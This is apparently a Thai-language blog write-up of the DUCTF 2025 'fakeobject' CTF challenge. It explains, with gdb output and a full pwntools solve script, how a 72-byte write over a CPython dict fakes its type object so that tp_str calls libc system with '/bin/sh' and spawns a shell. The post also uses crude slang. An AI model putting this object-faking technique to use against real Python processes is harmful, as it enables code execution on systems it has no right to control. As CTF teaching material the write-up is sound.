[DUCTF2025] fakeobject


week นี้ไม่ค่อยว่างมีนัดไปนู่นนี่ ว่างเล่นข้อเดียว ถือว่าแปลกใหม่พอสมควร ไม่เคยทำ pwn บน python เลยจั้บ มาดูกันว่าถ้าเรา Arbitrary Write บน Python เราทำไรได้บ้าง
โจทย์ให้มาหนึ่งไฟล์ fakeobj.py
สั้น ๆ ง่าย ๆ คือ write ได้ 72 bytes ทับที่ตัวแปร obj ที่เป็น dict ใน Python
#!/usr/bin/env python3
import ctypes
obj = {}
print(f"addrof(obj) = {hex(id(obj))}")
libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")
fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]
print(obj)
เป้าหมายของเราคือ spawn shell อ่าน flag นั้นเอง แต่สิ่งนี้มันคืออารายยไม่เคยพบเคยเห็น ไม่เคย pwn บน python ค้อฟอ้าย
เริ่ม Debug ก่อนเลย
เอาโจทย์มาโมใหม่จะได้ debug ง่าย ๆ fakedebug.py
#!/usr/bin/env python3
import ctypes
obj = {}
print(f"addrof(obj) = {hex(id(obj))}")
libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")
input() # caveman breakpoint
# fakeobj_data = bytes.fromhex(input("fakeobj: "))
fakeobj_data = b""
fakeobj_data += b"AAAAAAAA"
fakeobj_data += b"BBBBBBBB"
fakeobj_data += b"CCCCCCCC"
fakeobj_data += b"DDDDDDDD"
fakeobj_data += b"EEEEEEEE"
fakeobj_data += b"FFFFFFFF"
fakeobj_data += b"GGGGGGGG"
fakeobj_data += b"HHHHHHHH"
fakeobj_data += b"IIIIIIII"
for i in range(72):
ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]
print(obj)
จากนั้นก็ attach gdb ของเราเข้าไป แล้ว debug เลยยยย
(pwn) ➜ gdb python3
gef> r fakedebug.py
Starting program: /home/pwn/.virtualenvs/pwn/bin/python3 fakedebug.py
addrof(obj) = 0x7ffff77067c0
system = 0x7ffff7c58750
gef> tele 0x7ffff77067c0
เหี้ยไรเนี่ย
ก่อนจะไปหวดต่อเราลองมาดูกันก่อนว่าเรา Write ได้ 72 Bytes มันเริ่มจากตรงไหนถึงตรงไหนบ้าง
จะเห็นว่า Range ที่เราเขียนได้จะเริ่มตั้งแต่หัว Dict ไปถึง +0×48 Bytes
คำถามคือเราจะทำยังไงต่อเพื่อให้ Hijack Control Flow มาเพื่อไป Spawn Shell ให้ได้
ถ้าเราย้อนกลับไปดู fakeobject.py
จะเห็นว่าโปรแกรมไม่ได้ทำอะไรเลยหลังเราเขียนทับ Dict เขียนนอกจาก print(obj)
แต่ๆๆๆๆๆ ถ้าใครเคยเขียน python แล้วลอง print(dict())
แล้วจะพบว่ามันจะทำการ print key และ value ออกมาให้เราหมดเลย แสดงว่ามันต้องมี function สักอย่างที่คอยจะการ parse ค่าต่าง ๆ ใน Dict ของเราออกมาเป็น String แล้วส่งให้ print ไปโชว์ Dick ของเรา
ซึ่งใน Python เอง Datatype แทบจะทุก Type จะ inherit มาจาก Object ซึ่ง Dict เองก็เหมือนกัน แสดงว่า Dict ของเราควรจะเก็บ Function Pointer ของ __str__
ไว้สักที่หนึ่ง ถ้าเราหาเจอแล้วเรา Replace เป็น system
น่าจะ hijack control flow และ Spawn shell ได้เลย
แล้วมันอยู่ไหนล่ะ?
ถ้าเรากลับไปแกะตัว Implementation ของ Dict ใน cPython เราจะเห็น struct หน้าตาแบบนี้ อันนี้ทำให้เราพอจะ map กับ Memory ที่เรา tele
ดูตอนแรกได้
จาก struct ของ PyDictObject
ข้างบนเราเอามา map กับตัว memory ของเราได้แบบนี้
อ้าว ไม่เห็นมี __str__
เบยยย จริง ๆ เราเกือบจะเจอมันแล้วครับ มันไปแอบอยู่ที่ PyTypeObject
ถ้าเรา trace code ไปดู struct _typeobject
ก็จะเห็นเหมือนในรูปนี้ครับ ในที่นี้
ซึ่งถ้าคิดย้อนกลับดูก็ make sense เพราะทุก Dict ก็ควรจะมี Default string handler function ที่เหมือนกัน จะเก็บใน Type Object ก็ไม่แปลก
ไหนลอง tele obj_type ดิ้
อ้าว งี้จะรู้ได้ไงว่า offset ไหนคือ __str__
หรือ tp_str
ใน _typeobject
หล่ะ จริง ๆ จากด้านบนเราพอจะมี Hint อยู่บ้าง เมื่อเราเอา Struct มาเทียบมัน Memory Layout ของ obj_type
มีความเป็นไปได้ที่ tp_target
จะอยู่ที่ offset+0×88
แต่เราไม่มี Arbitary Read/Write หนิ เราจะ Leak Address ของ _typeobject
มาได้ยังไง หรือถ้า Address ของ _typeobject
เป็น Fixed Address เราก็ไม่มี Arbitary Address Write มาทับที่ตรงนี้อยู่ดี
คำถามคือเราจำเป็นต้อง AAW จริง ๆ หรือเปล่าเพื่อ ทำให้ tp_str เป็น address ที่เราต้องการ เราย้อนกลับไปที่ PyDictObj ดีกว่า
ถ้าเราจะเรียก tp_str
สามารถทำได้จาก ob_type→tp_str()
งั้นถ้าเราเขียนที่ tp_str
ไม่ได้ เราก็แก้ค่า ob_type
แทนสิ!
เราทำการแก้ pointer ของ ob_type ไปที่ Memory ที่เรา control แล้วก็ Align ให้ offset ที่ 0×88 เป็น function pointer ที่เราต้องการแค่นี้ก็ได้แล้ว
จะทำให้ ob_type→tp_str
align ชี้มาที่ 0xdeadbeef
ของเรา
ไหนมาลองกันเลยแก้ fakedebug.py
ของเราให้เป็นตาม Structure ด้านบน
จะเห็นว่าเราสามารถ hijack control flow ได้แล้ว อีกทั้ง RDI ยังชี้ไปที่ obj
ของเราอีก งี้ EZ เลย คุมได้หมด system
ก็ไม่ต้อง leak พรี่แกให้มาหมด งั้นโม exploit ให้เป็นหน้าตาแบบนี้
ที่ /bin/sh
ต้อง -2 เพราะเหมือนตอนที่เรารันไปตัว Obj เรามี ref เพิ่มขึ้นมาอีก 2 เลยลบไปเมื่อเอาไปรันมันจะ inc ขึ้นมาเองแล้วทำให้ payload กลายเป็น /bin/sh\x00
เอง (Little Endian น่ะ ไม่งงหรอกเนอะ)
ตั้ง breakpoint ไว้ที่ system
ก็พบว่าเราสามารถ spawn shell ได้แน้วววว
ไม่รอช้าหวดที่ server เลยค้อฟ
กรรม ไม่เวิคเฉยยยยยยย
เลยกลับไปลอง spawn docker ที่ทางผู้จัดให้มาแล้วลอง attach gdb ไปดูพบว่าจริง ๆ ที่ตายมันตายที่ obj→ob_refcnt
ที่ env เรามัน +2 แต่ใน docker มัน +1 อันนี้ยังไม่ได้ลอง debug ต่อแต่คิดว่าน่าจะเพราะตอน debug มี code ที่ ref มากกว่าโจทย์ เลยลองแก้ obj→obj_refcnt
เป็น -1 แล้วหวดอีกรอบค้อฟ
จะเห็นว่าเราสามารถควยคุม dick และ spawn shell ได้ตามต้องการแล้ว เย้
solve.py
from pwn import *
p = remote("chal.2025.ductf.net", 30001)
p.recvuntil(b"addrof(obj) = ")
obj_addr = int(p.recvline().strip(), 16)
print(f"obj_addr:{hex(obj_addr)}")
p.recvuntil(b"system = ")
system_addr = int(p.recvline().strip(), 16)
print(f"system_addr:{hex(system_addr)}")
fakeobj_data = b""
fakeobj_data += p64(0x0068732f6e69622f-1) # 1 head
fakeobj_data += p64(obj_addr-0x88+24+8) # functype
fakeobj_data += p64(0)
fakeobj_data += p64(0)
fakeobj_data += p64(system_addr)
fakeobj_data += p64(0)
fakeobj_data += p64(0)
fakeobj_data += p64(0)
fakeobj_data += p64(0)
p.sendline(fakeobj_data.hex())
p.interactive()
Subscribe to my newsletter
Read articles from pwn8 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
